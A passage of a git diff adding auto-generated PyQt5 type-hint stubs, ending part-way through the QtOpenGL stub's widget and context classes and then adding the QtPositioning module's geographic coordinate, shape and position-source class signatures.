NoSampleBuffers = ... # type: QGL.FormatOption + DeprecatedFunctions = ... # type: QGL.FormatOption + NoDeprecatedFunctions = ... # type: QGL.FormatOption + + class FormatOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGL.FormatOptions', 'QGL.FormatOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGL.FormatOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGL.FormatOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + +class QGLFormat(sip.simplewrapper): + + class OpenGLContextProfile(int): + NoProfile = ... # type: QGLFormat.OpenGLContextProfile + CoreProfile = ... # type: QGLFormat.OpenGLContextProfile + CompatibilityProfile = ... # type: QGLFormat.OpenGLContextProfile + + class OpenGLVersionFlag(int): + OpenGL_Version_None = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_1_1 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_1_2 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_1_3 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_1_4 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_1_5 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_2_0 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_2_1 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_3_0 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_3_1 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_3_2 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_3_3 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_4_0 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_4_1 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_4_2 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_Version_4_3 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_ES_Common_Version_1_0 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_ES_CommonLite_Version_1_0 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_ES_Common_Version_1_1 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_ES_CommonLite_Version_1_1 = ... # type: QGLFormat.OpenGLVersionFlag + OpenGL_ES_Version_2_0 = ... # type: QGLFormat.OpenGLVersionFlag + + class OpenGLVersionFlags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGLFormat.OpenGLVersionFlags', 'QGLFormat.OpenGLVersionFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGLFormat.OpenGLVersionFlags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGLFormat.OpenGLVersionFlags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, options: typing.Union[QGL.FormatOptions, QGL.FormatOption], plane: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QGLFormat') -> None: ... + + def profile(self) -> 'QGLFormat.OpenGLContextProfile': ... + def setProfile(self, profile: 'QGLFormat.OpenGLContextProfile') -> None: ... + def minorVersion(self) -> int: ... + def majorVersion(self) -> int: ... + def setVersion(self, major: int, minor: int) -> None: ... + @staticmethod + def openGLVersionFlags() -> 'QGLFormat.OpenGLVersionFlags': ... + def swapInterval(self) -> int: ... + def setSwapInterval(self, interval: int) -> None: ... + def blueBufferSize(self) -> int: ... + def setBlueBufferSize(self, size: int) -> None: ... + def greenBufferSize(self) -> int: ... + def setGreenBufferSize(self, size: int) -> None: ... + def redBufferSize(self) -> int: ... + def setRedBufferSize(self, size: int) -> None: ... + def sampleBuffers(self) -> bool: ... + def hasOverlay(self) -> bool: ... + def directRendering(self) -> bool: ... + def stereo(self) -> bool: ... + def stencil(self) -> bool: ... + def accum(self) -> bool: ... + def alpha(self) -> bool: ... + def rgba(self) -> bool: ... + def depth(self) -> bool: ... + def doubleBuffer(self) -> bool: ... + @staticmethod + def hasOpenGLOverlays() -> bool: ... + @staticmethod + def hasOpenGL() -> bool: ... + @staticmethod + def setDefaultOverlayFormat(f: 'QGLFormat') -> None: ... + @staticmethod + def defaultOverlayFormat() -> 'QGLFormat': ... + @staticmethod + def setDefaultFormat(f: 'QGLFormat') -> None: ... + @staticmethod + def defaultFormat() -> 'QGLFormat': ... + def testOption(self, opt: typing.Union[QGL.FormatOptions, QGL.FormatOption]) -> bool: ... + def setOption(self, opt: typing.Union[QGL.FormatOptions, QGL.FormatOption]) -> None: ... + def setPlane(self, plane: int) -> None: ... + def plane(self) -> int: ... + def setOverlay(self, enable: bool) -> None: ... + def setDirectRendering(self, enable: bool) -> None: ... + def setStereo(self, enable: bool) -> None: ... + def setStencil(self, enable: bool) -> None: ... + def setAccum(self, enable: bool) -> None: ... + def setAlpha(self, enable: bool) -> None: ... + def setRgba(self, enable: bool) -> None: ... + def setDepth(self, enable: bool) -> None: ... + def setDoubleBuffer(self, enable: bool) -> None: ... + def samples(self) -> int: ... + def setSamples(self, numSamples: int) -> None: ... + def setSampleBuffers(self, enable: bool) -> None: ... + def stencilBufferSize(self) -> int: ... + def setStencilBufferSize(self, size: int) -> None: ... + def alphaBufferSize(self) -> int: ... + def setAlphaBufferSize(self, size: int) -> None: ... + def accumBufferSize(self) -> int: ... + def setAccumBufferSize(self, size: int) -> None: ... + def depthBufferSize(self) -> int: ... + def setDepthBufferSize(self, size: int) -> None: ... + + +class QGLContext(PyQt5.sip.wrapper): + + class BindOption(int): + NoBindOption = ... # type: QGLContext.BindOption + InvertedYBindOption = ... # type: QGLContext.BindOption + MipmapBindOption = ... # type: QGLContext.BindOption + PremultipliedAlphaBindOption = ... # type: QGLContext.BindOption + LinearFilteringBindOption = ... # type: QGLContext.BindOption + DefaultBindOption = ... # type: QGLContext.BindOption + + class BindOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGLContext.BindOptions', 'QGLContext.BindOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGLContext.BindOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGLContext.BindOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, format: QGLFormat) -> None: ... + + def moveToThread(self, thread: QtCore.QThread) -> None: ... + @staticmethod + def areSharing(context1: 'QGLContext', context2: 'QGLContext') -> bool: ... + def setInitialized(self, on: bool) -> None: ... + def initialized(self) -> bool: ... + def setWindowCreated(self, on: bool) -> None: ... + def windowCreated(self) -> bool: ... + def deviceIsPixmap(self) -> bool: ... + def chooseContext(self, shareContext: typing.Optional['QGLContext'] = ...) -> bool: ... + @staticmethod + def currentContext() -> 'QGLContext': ... + def overlayTransparentColor(self) -> QtGui.QColor: ... + def device(self) -> QtGui.QPaintDevice: ... + def getProcAddress(self, proc: str) -> PyQt5.sip.voidptr: ... + @staticmethod + def textureCacheLimit() -> int: ... + @staticmethod + def setTextureCacheLimit(size: int) -> None: ... + def deleteTexture(self, tx_id: int) -> None: ... + @typing.overload + def drawTexture(self, target: QtCore.QRectF, textureId: int, textureTarget: int = ...) -> None: ... + @typing.overload + def drawTexture(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], textureId: int, textureTarget: int = ...) -> None: ... + @typing.overload + def bindTexture(self, image: QtGui.QImage, target: int = ..., format: int = ...) -> int: ... + @typing.overload + def bindTexture(self, pixmap: QtGui.QPixmap, target: int = ..., format: int = ...) -> int: ... + @typing.overload + def bindTexture(self, fileName: str) -> int: ... + @typing.overload + def bindTexture(self, image: QtGui.QImage, target: int, format: int, options: typing.Union['QGLContext.BindOptions', 'QGLContext.BindOption']) -> int: ... + @typing.overload + def bindTexture(self, pixmap: QtGui.QPixmap, target: int, format: int, options: typing.Union['QGLContext.BindOptions', 'QGLContext.BindOption']) -> int: ... + def swapBuffers(self) -> None: ... + def doneCurrent(self) -> None: ... + def makeCurrent(self) -> None: ... + def setFormat(self, format: QGLFormat) -> None: ... + def requestedFormat(self) -> QGLFormat: ... + def format(self) -> QGLFormat: ... + def reset(self) -> None: ... + def isSharing(self) -> bool: ... + def isValid(self) -> bool: ... + def create(self, shareContext: typing.Optional['QGLContext'] = ...) -> bool: ... + + +class QGLWidget(QtWidgets.QWidget): + + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ..., shareWidget: typing.Optional['QGLWidget'] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, context: QGLContext, parent: typing.Optional[QtWidgets.QWidget] = ..., shareWidget: typing.Optional['QGLWidget'] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, format: QGLFormat, parent: typing.Optional[QtWidgets.QWidget] = ..., shareWidget: typing.Optional['QGLWidget'] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def glDraw(self) -> None: ... + def glInit(self) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def autoBufferSwap(self) -> bool: ... + def setAutoBufferSwap(self, on: bool) -> None: ... + def paintOverlayGL(self) -> None: ... + def resizeOverlayGL(self, w: int, h: int) -> None: ... + def initializeOverlayGL(self) -> None: ... + def paintGL(self) -> None: ... + def resizeGL(self, w: int, h: int) -> None: ... + def initializeGL(self) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def updateOverlayGL(self) -> None: ... + def updateGL(self) -> None: ... + def deleteTexture(self, tx_id: int) -> None: ... + @typing.overload + def drawTexture(self, target: QtCore.QRectF, textureId: int, textureTarget: int = ...) -> None: ... + @typing.overload + def drawTexture(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint], textureId: int, textureTarget: int = ...) -> None: ... + @typing.overload + def bindTexture(self, image: QtGui.QImage, target: int = ..., format: int = ...) -> int: ... + @typing.overload + def bindTexture(self, pixmap: QtGui.QPixmap, target: int = ..., format: int = ...) -> int: ... + @typing.overload + def bindTexture(self, fileName: str) -> int: ... + @typing.overload + def bindTexture(self, image: QtGui.QImage, target: int, format: int, options: typing.Union[QGLContext.BindOptions, QGLContext.BindOption]) -> int: ... + @typing.overload + def bindTexture(self, pixmap: QtGui.QPixmap, target: int, format: int, options: typing.Union[QGLContext.BindOptions, QGLContext.BindOption]) -> int: ... + def paintEngine(self) -> QtGui.QPaintEngine: ... + @typing.overload + def renderText(self, x: int, y: int, str: str, font: QtGui.QFont = ...) -> None: ... + @typing.overload + def renderText(self, x: float, y: float, z: float, str: str, font: QtGui.QFont = ...) -> None: ... + @staticmethod + def convertToGLFormat(img: QtGui.QImage) -> QtGui.QImage: ... + def overlayContext(self) -> QGLContext: ... + def makeOverlayCurrent(self) -> None: ... + def grabFrameBuffer(self, withAlpha: bool = ...) -> QtGui.QImage: ... + def renderPixmap(self, width: int = ..., height: int = ..., useContext: bool = ...) -> QtGui.QPixmap: ... + def setContext(self, context: QGLContext, shareContext: typing.Optional[QGLContext] = ..., deleteOldContext: bool = ...) -> None: ... + def context(self) -> QGLContext: ... + def format(self) -> QGLFormat: ... + def swapBuffers(self) -> None: ... + def doubleBuffer(self) -> bool: ... + def doneCurrent(self) -> None: ... + def makeCurrent(self) -> None: ... + def isSharing(self) -> bool: ... + def isValid(self) -> bool: ... + def qglClearColor(self, c: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... + def qglColor(self, c: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor]) -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtPositioning.pyi b/OTHERS/Jarvis/ools/PyQt5/QtPositioning.pyi new file mode 100644 index 00000000..291415a3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtPositioning.pyi @@ -0,0 +1,538 @@ +# The PEP 484 type hints stub file for the QtPositioning module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QGeoAddress(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoAddress') -> None: ... + + def isTextGenerated(self) -> bool: ... + def clear(self) -> None: ... + def isEmpty(self) -> bool: ... + def setStreet(self, street: str) -> None: ... + def street(self) -> str: ... + def setPostalCode(self, postalCode: str) -> None: ... + def postalCode(self) -> str: ... + def setDistrict(self, district: str) -> None: ... + def district(self) -> str: ... + def setCity(self, city: str) -> None: ... + def city(self) -> str: ... + def setCounty(self, county: str) -> None: ... + def county(self) -> str: ... + def setState(self, state: str) -> None: ... + def state(self) -> str: ... + def setCountryCode(self, countryCode: str) -> None: ... + def countryCode(self) -> str: ... + def setCountry(self, country: str) -> None: ... + def country(self) -> str: ... + def setText(self, text: str) -> None: ... + def text(self) -> str: ... + + +class QGeoAreaMonitorInfo(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self, name: str = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoAreaMonitorInfo') -> None: ... + + def setNotificationParameters(self, parameters: typing.Dict[str, typing.Any]) -> None: ... + def notificationParameters(self) -> typing.Dict[str, typing.Any]: ... + def setPersistent(self, isPersistent: bool) -> None: ... + def isPersistent(self) -> bool: ... + def setExpiration(self, expiry: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def expiration(self) -> QtCore.QDateTime: ... + def setArea(self, newShape: 'QGeoShape') -> None: ... + def area(self) -> 'QGeoShape': ... + def isValid(self) -> bool: ... + def identifier(self) -> str: ... + def setName(self, name: str) -> None: ... + def name(self) -> str: ... + + +class QGeoAreaMonitorSource(QtCore.QObject): + + class AreaMonitorFeature(int): + PersistentAreaMonitorFeature = ... # type: QGeoAreaMonitorSource.AreaMonitorFeature + AnyAreaMonitorFeature = ... # type: QGeoAreaMonitorSource.AreaMonitorFeature + + class Error(int): + AccessError = ... # type: QGeoAreaMonitorSource.Error + InsufficientPositionInfo = ... # type: QGeoAreaMonitorSource.Error + UnknownSourceError = ... # type: QGeoAreaMonitorSource.Error + NoError = ... # type: QGeoAreaMonitorSource.Error + + class AreaMonitorFeatures(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoAreaMonitorSource.AreaMonitorFeatures', 'QGeoAreaMonitorSource.AreaMonitorFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoAreaMonitorSource.AreaMonitorFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoAreaMonitorSource.AreaMonitorFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def monitorExpired(self, monitor: QGeoAreaMonitorInfo) -> None: ... + def areaExited(self, monitor: QGeoAreaMonitorInfo, update: 'QGeoPositionInfo') -> None: ... + def areaEntered(self, monitor: QGeoAreaMonitorInfo, update: 'QGeoPositionInfo') -> None: ... + @typing.overload + def activeMonitors(self) -> typing.List[QGeoAreaMonitorInfo]: ... + @typing.overload + def activeMonitors(self, lookupArea: 'QGeoShape') -> typing.List[QGeoAreaMonitorInfo]: ... + def requestUpdate(self, monitor: QGeoAreaMonitorInfo, signal: str) -> bool: ... + def stopMonitoring(self, monitor: QGeoAreaMonitorInfo) -> bool: ... + def startMonitoring(self, monitor: QGeoAreaMonitorInfo) -> bool: ... + def supportedAreaMonitorFeatures(self) -> 'QGeoAreaMonitorSource.AreaMonitorFeatures': ... + @typing.overload + def error(self) -> 'QGeoAreaMonitorSource.Error': ... + @typing.overload + def error(self, error: 'QGeoAreaMonitorSource.Error') -> None: ... + def sourceName(self) -> str: ... + def positionInfoSource(self) -> 'QGeoPositionInfoSource': ... + def setPositionInfoSource(self, source: 'QGeoPositionInfoSource') -> None: ... + @staticmethod + def availableSources() -> typing.List[str]: ... + @staticmethod + def createSource(sourceName: str, parent: QtCore.QObject) -> 'QGeoAreaMonitorSource': ... + @staticmethod + def createDefaultSource(parent: QtCore.QObject) -> 'QGeoAreaMonitorSource': ... + + +class QGeoShape(PyQt5.sip.wrapper): + + class ShapeType(int): + UnknownType = ... # type: QGeoShape.ShapeType + RectangleType = ... # type: QGeoShape.ShapeType + CircleType = ... # type: QGeoShape.ShapeType + PathType = ... # type: QGeoShape.ShapeType + PolygonType = ... # type: QGeoShape.ShapeType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoShape') -> None: ... + + def boundingGeoRectangle(self) -> 'QGeoRectangle': ... + def toString(self) -> str: ... + def center(self) -> 'QGeoCoordinate': ... + def extendShape(self, coordinate: 'QGeoCoordinate') -> None: ... + def contains(self, coordinate: 'QGeoCoordinate') -> bool: ... + def isEmpty(self) -> bool: ... + def isValid(self) -> bool: ... + def type(self) -> 'QGeoShape.ShapeType': ... + + +class QGeoCircle(QGeoShape): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, center: 'QGeoCoordinate', radius: float = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoCircle') -> None: ... + @typing.overload + def __init__(self, other: QGeoShape) -> None: ... + + def extendCircle(self, coordinate: 'QGeoCoordinate') -> None: ... + def toString(self) -> str: ... + def translated(self, degreesLatitude: float, degreesLongitude: float) -> 'QGeoCircle': ... + def translate(self, degreesLatitude: float, degreesLongitude: float) -> None: ... + def radius(self) -> float: ... + def setRadius(self, radius: float) -> None: ... + def center(self) -> 'QGeoCoordinate': ... + def setCenter(self, center: 'QGeoCoordinate') -> None: ... + + +class QGeoCoordinate(PyQt5.sip.wrapper): + + class CoordinateFormat(int): + Degrees = ... # type: QGeoCoordinate.CoordinateFormat + DegreesWithHemisphere = ... # type: QGeoCoordinate.CoordinateFormat + DegreesMinutes = ... # type: QGeoCoordinate.CoordinateFormat + DegreesMinutesWithHemisphere = ... # type: QGeoCoordinate.CoordinateFormat + DegreesMinutesSeconds = ... # type: QGeoCoordinate.CoordinateFormat + DegreesMinutesSecondsWithHemisphere = ... # type: QGeoCoordinate.CoordinateFormat + + class CoordinateType(int): + InvalidCoordinate = ... # type: QGeoCoordinate.CoordinateType + Coordinate2D = ... # type: QGeoCoordinate.CoordinateType + Coordinate3D = ... # type: QGeoCoordinate.CoordinateType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, latitude: float, longitude: float) -> None: ... + @typing.overload + def __init__(self, latitude: float, longitude: float, altitude: float) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoCoordinate') -> None: ... + + def __hash__(self) -> int: ... + def toString(self, format: 'QGeoCoordinate.CoordinateFormat' = ...) -> str: ... + def atDistanceAndAzimuth(self, distance: float, azimuth: float, distanceUp: float = ...) -> 'QGeoCoordinate': ... + def azimuthTo(self, other: 'QGeoCoordinate') -> float: ... + def distanceTo(self, other: 'QGeoCoordinate') -> float: ... + def altitude(self) -> float: ... + def setAltitude(self, altitude: float) -> None: ... + def longitude(self) -> float: ... + def setLongitude(self, longitude: float) -> None: ... + def latitude(self) -> float: ... + def setLatitude(self, latitude: float) -> None: ... + def type(self) -> 'QGeoCoordinate.CoordinateType': ... + def isValid(self) -> bool: ... + + +class QGeoLocation(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoLocation') -> None: ... + + def setExtendedAttributes(self, data: typing.Dict[str, typing.Any]) -> None: ... + def extendedAttributes(self) -> typing.Dict[str, typing.Any]: ... + def isEmpty(self) -> bool: ... + def setBoundingBox(self, box: 'QGeoRectangle') -> None: ... + def boundingBox(self) -> 'QGeoRectangle': ... + def setCoordinate(self, position: QGeoCoordinate) -> None: ... + def coordinate(self) -> QGeoCoordinate: ... + def setAddress(self, address: QGeoAddress) -> None: ... + def address(self) -> QGeoAddress: ... + + +class QGeoPath(QGeoShape): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, path: typing.Iterable[QGeoCoordinate], width: float = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoPath') -> None: ... + @typing.overload + def __init__(self, other: QGeoShape) -> None: ... + + def clearPath(self) -> None: ... + def size(self) -> int: ... + def toString(self) -> str: ... + @typing.overload + def removeCoordinate(self, coordinate: QGeoCoordinate) -> None: ... + @typing.overload + def removeCoordinate(self, index: int) -> None: ... + def containsCoordinate(self, coordinate: QGeoCoordinate) -> bool: ... + def coordinateAt(self, index: int) -> QGeoCoordinate: ... + def replaceCoordinate(self, index: int, coordinate: QGeoCoordinate) -> None: ... + def insertCoordinate(self, index: int, coordinate: QGeoCoordinate) -> None: ... + def addCoordinate(self, coordinate: QGeoCoordinate) -> None: ... + def length(self, indexFrom: int = ..., indexTo: int = ...) -> float: ... + def translated(self, degreesLatitude: float, degreesLongitude: float) -> 'QGeoPath': ... + def translate(self, degreesLatitude: float, degreesLongitude: float) -> None: ... + def width(self) -> float: ... + def setWidth(self, width: float) -> None: ... + def path(self) -> typing.List[QGeoCoordinate]: ... + def setPath(self, path: typing.Iterable[QGeoCoordinate]) -> None: ... + + +class QGeoPolygon(QGeoShape): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, path: typing.Iterable[QGeoCoordinate]) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoPolygon') -> None: ... + @typing.overload + def __init__(self, other: QGeoShape) -> None: ... + + def perimeter(self) -> typing.List[typing.Any]: ... + def setPerimeter(self, path: typing.Iterable[typing.Any]) -> None: ... + def holesCount(self) -> int: ... + def removeHole(self, index: int) -> None: ... + def holePath(self, index: int) -> typing.List[QGeoCoordinate]: ... + def hole(self, index: int) -> typing.List[typing.Any]: ... + @typing.overload + def addHole(self, holePath: typing.Iterable[QGeoCoordinate]) -> None: ... + @typing.overload + def addHole(self, holePath: typing.Any) -> None: ... + def toString(self) -> str: ... + @typing.overload + def removeCoordinate(self, coordinate: QGeoCoordinate) -> None: ... + @typing.overload + def removeCoordinate(self, index: int) -> None: ... + def containsCoordinate(self, coordinate: QGeoCoordinate) -> bool: ... + def coordinateAt(self, index: int) -> QGeoCoordinate: ... + def replaceCoordinate(self, index: int, coordinate: QGeoCoordinate) -> None: ... + def insertCoordinate(self, index: int, coordinate: QGeoCoordinate) -> None: ... + def addCoordinate(self, coordinate: QGeoCoordinate) -> None: ... + def size(self) -> int: ... + def length(self, indexFrom: int = ..., indexTo: int = ...) -> float: ... + def translated(self, degreesLatitude: float, degreesLongitude: float) -> 'QGeoPolygon': ... + def translate(self, degreesLatitude: float, degreesLongitude: float) -> None: ... + def path(self) -> typing.List[QGeoCoordinate]: ... + def setPath(self, path: typing.Iterable[QGeoCoordinate]) -> None: ... + + +class QGeoPositionInfo(PyQt5.sip.wrapper): + + class Attribute(int): + Direction = ... # type: QGeoPositionInfo.Attribute + GroundSpeed = ... # type: QGeoPositionInfo.Attribute + VerticalSpeed = ... # type: QGeoPositionInfo.Attribute + MagneticVariation = ... # type: QGeoPositionInfo.Attribute + HorizontalAccuracy = ... # type: QGeoPositionInfo.Attribute + VerticalAccuracy = ... # type: QGeoPositionInfo.Attribute + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, coordinate: QGeoCoordinate, updateTime: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoPositionInfo') -> None: ... + + def hasAttribute(self, attribute: 'QGeoPositionInfo.Attribute') -> bool: ... + def removeAttribute(self, attribute: 'QGeoPositionInfo.Attribute') -> None: ... + def attribute(self, attribute: 'QGeoPositionInfo.Attribute') -> float: ... + def setAttribute(self, attribute: 'QGeoPositionInfo.Attribute', value: float) -> None: ... + def coordinate(self) -> QGeoCoordinate: ... + def setCoordinate(self, coordinate: QGeoCoordinate) -> None: ... + def timestamp(self) -> QtCore.QDateTime: ... + def setTimestamp(self, timestamp: typing.Union[QtCore.QDateTime, datetime.datetime]) -> None: ... + def isValid(self) -> bool: ... + + +class QGeoPositionInfoSource(QtCore.QObject): + + class PositioningMethod(int): + NoPositioningMethods = ... # type: QGeoPositionInfoSource.PositioningMethod + SatellitePositioningMethods = ... # type: QGeoPositionInfoSource.PositioningMethod + NonSatellitePositioningMethods = ... # type: QGeoPositionInfoSource.PositioningMethod + AllPositioningMethods = ... # type: QGeoPositionInfoSource.PositioningMethod + + class Error(int): + AccessError = ... # type: QGeoPositionInfoSource.Error + ClosedError = ... # type: QGeoPositionInfoSource.Error + UnknownSourceError = ... # type: QGeoPositionInfoSource.Error + NoError = ... # type: QGeoPositionInfoSource.Error + + class PositioningMethods(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QGeoPositionInfoSource.PositioningMethods', 'QGeoPositionInfoSource.PositioningMethod']) -> None: ... + @typing.overload + def __init__(self, a0: 'QGeoPositionInfoSource.PositioningMethods') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QGeoPositionInfoSource.PositioningMethods': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def backendProperty(self, name: str) -> typing.Any: ... + def setBackendProperty(self, name: str, value: typing.Any) -> bool: ... + def supportedPositioningMethodsChanged(self) -> None: ... + def updateTimeout(self) -> None: ... + def positionUpdated(self, update: QGeoPositionInfo) -> None: ... + def requestUpdate(self, timeout: int = ...) -> None: ... + def stopUpdates(self) -> None: ... + def startUpdates(self) -> None: ... + @typing.overload + def error(self) -> 'QGeoPositionInfoSource.Error': ... + @typing.overload + def error(self, a0: 'QGeoPositionInfoSource.Error') -> None: ... + @staticmethod + def availableSources() -> typing.List[str]: ... + @typing.overload + @staticmethod + def createSource(sourceName: str, parent: QtCore.QObject) -> 'QGeoPositionInfoSource': ... + @typing.overload + @staticmethod + def createSource(sourceName: str, parameters: typing.Dict[str, typing.Any], parent: QtCore.QObject) -> 'QGeoPositionInfoSource': ... + @typing.overload + @staticmethod + def createDefaultSource(parent: QtCore.QObject) -> 'QGeoPositionInfoSource': ... + @typing.overload + @staticmethod + def createDefaultSource(parameters: typing.Dict[str, typing.Any], parent: QtCore.QObject) -> 'QGeoPositionInfoSource': ... + def sourceName(self) -> str: ... + def minimumUpdateInterval(self) -> int: ... + def supportedPositioningMethods(self) -> 'QGeoPositionInfoSource.PositioningMethods': ... + def lastKnownPosition(self, fromSatellitePositioningMethodsOnly: bool = ...) -> QGeoPositionInfo: ... + def preferredPositioningMethods(self) -> 'QGeoPositionInfoSource.PositioningMethods': ... + def setPreferredPositioningMethods(self, methods: typing.Union['QGeoPositionInfoSource.PositioningMethods', 'QGeoPositionInfoSource.PositioningMethod']) -> None: ... + def updateInterval(self) -> int: ... + def setUpdateInterval(self, msec: int) -> None: ... + + +class QGeoRectangle(QGeoShape): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, center: QGeoCoordinate, degreesWidth: float, degreesHeight: float) -> None: ... + @typing.overload + def __init__(self, topLeft: QGeoCoordinate, bottomRight: QGeoCoordinate) -> None: ... + @typing.overload + def __init__(self, coordinates: typing.Iterable[QGeoCoordinate]) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoRectangle') -> None: ... + @typing.overload + def __init__(self, other: QGeoShape) -> None: ... + + def extendRectangle(self, coordinate: QGeoCoordinate) -> None: ... + def toString(self) -> str: ... + def united(self, rectangle: 'QGeoRectangle') -> 'QGeoRectangle': ... + def translated(self, degreesLatitude: float, degreesLongitude: float) -> 'QGeoRectangle': ... + def translate(self, degreesLatitude: float, degreesLongitude: float) -> None: ... + def intersects(self, rectangle: 'QGeoRectangle') -> bool: ... + def contains(self, rectangle: 'QGeoRectangle') -> bool: ... + def height(self) -> float: ... + def setHeight(self, degreesHeight: float) -> None: ... + def width(self) -> float: ... + def setWidth(self, degreesWidth: float) -> None: ... + def center(self) -> QGeoCoordinate: ... + def setCenter(self, center: QGeoCoordinate) -> None: ... + def bottomRight(self) -> QGeoCoordinate: ... + def setBottomRight(self, bottomRight: QGeoCoordinate) -> None: ... + def bottomLeft(self) -> QGeoCoordinate: ... + def setBottomLeft(self, bottomLeft: QGeoCoordinate) -> None: ... + def topRight(self) -> QGeoCoordinate: ... + def setTopRight(self, topRight: QGeoCoordinate) -> None: ... + def topLeft(self) -> QGeoCoordinate: ... + def setTopLeft(self, topLeft: QGeoCoordinate) -> None: ... + + +class 